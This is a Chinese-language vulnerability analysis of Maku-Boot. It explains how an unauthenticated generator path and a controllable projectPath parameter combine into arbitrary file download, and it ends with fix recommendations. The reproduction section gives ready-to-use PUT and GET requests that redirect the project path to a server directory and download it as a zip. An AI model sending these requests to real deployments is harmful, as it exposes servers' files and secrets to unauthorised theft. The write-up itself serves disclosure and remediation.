maku-boot未授权任意文件下载漏洞分析
字数 1197 2025-08-12 12:46:04
Maku-Boot未授权任意文件下载漏洞分析与复现
一、项目概述
Maku-Boot是一个基于以下技术的低代码开发平台:
- 后端:SpringBoot 3.4、SpringSecurity 6.4、Mybatis-Plus
- 前端:Vue 3、Element-plus
项目资源:
- Gitee地址:https://gitee.com/makunet/maku-boot
- 开发文档:https://maku.net/docs/maku-boot
二、漏洞概述
该漏洞是一个组合漏洞,包含两个关键问题:
- 未授权访问:系统默认忽略对
maku-generator路径的权限校验 - 任意文件下载:通过项目更新接口可修改项目路径,进而下载服务器任意目录文件
三、环境搭建
- 修改配置文件:
maku-server/src/main/resources/application-dev.yml - 导入数据库
- 项目打包并运行
四、漏洞详细分析
1. 未授权访问分析
- 系统在
SecurityFilterConfig.java中配置了忽略/maku-generator/**路径的权限校验 maku-generator组件自身不包含鉴权功能- 相关代码位置:
net/maku/framework/security/config/SecurityFilterConfig.java:37
2. 文件下载机制
- 文件下载功能位于
ProjectModifyController.java第72行 - 根据项目ID获取文件夹路径并下载整个文件夹的zip压缩包
exclusions参数在保存时留空可简化利用过程
3. 项目更新接口
- 使用PUT方法访问
/maku-generator/gen/project - 关键参数
projectPath可控制下载的文件夹路径
五、漏洞复现步骤
步骤1:修改项目路径
发送以下PUT请求修改项目路径:
PUT /maku-generator/gen/project HTTP/1.1
Host: 192.168.64.130:8089
Content-Type: application/json;charset=UTF-8
Connection: close
{
"id":1,
"projectName":"maku-boot",
"projectCode":"maku",
"projectPackage":"net.maku",
"projectPath":"/root/web/logs",
"modifyProjectName":"baba-boot",
"modifyProjectCode":"baba",
"modifyProjectPackage":"com.baba",
"exclusions":"",
"modifySuffix":"java,xml,yml,txt",
"createTime":"2024-06-18T23:26:33.000+08:00"
}
关键参数说明:
projectPath:设置为目标下载目录(如/root/web/logs)exclusions:留空id:项目ID(此处为1)
步骤2:下载目标文件
发送GET请求下载文件:
GET /maku-generator/gen/project/download/1 HTTP/1.1
Host: 192.168.64.130:8089
Connection: close
或直接在浏览器访问:http://192.168.64.130:8089/maku-generator/gen/project/download/1
六、漏洞修复建议
- 为
maku-generator组件添加鉴权机制 - 对
projectPath参数进行严格校验,限制为特定目录 - 实现文件下载的白名单机制
- 更新Spring Security配置,不忽略关键路径的权限检查
七、总结
该漏洞利用了两个关键问题:
- 系统默认配置导致的未授权访问
- 文件下载功能缺乏路径校验
攻击者可组合利用这两个问题,通过修改项目路径参数下载服务器上的任意文件,可能导致敏感信息泄露。